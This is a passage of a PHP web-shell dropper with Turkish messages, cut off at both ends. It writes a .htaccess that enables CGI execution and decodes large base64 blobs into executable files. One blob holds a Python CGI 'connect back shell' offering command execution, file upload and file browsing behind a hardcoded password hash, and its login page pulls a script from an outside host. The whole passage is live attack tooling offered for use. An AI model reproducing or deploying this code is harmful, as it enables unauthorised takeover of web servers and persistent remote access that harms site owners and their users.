QcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOwoK'; $file = fopen("cgi.log" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("cgi.log",0755); echo '

Cgi Telnet Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Cgi Telnet
'; } if(isset($_POST['cgi3'])){ mkdir("cgitelnet2"); chdir("cgitelnet2"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "Options +ExecCGI\nDirectoryIndex fuhosin.xx\nAddHandler cgi-script .xx"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiMjdkYjc4OTgyMTFjOGNjYmViNGQ1YTk3ZDE5ODgzOWEiICMgcm9vdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpXCc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7CiAgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0g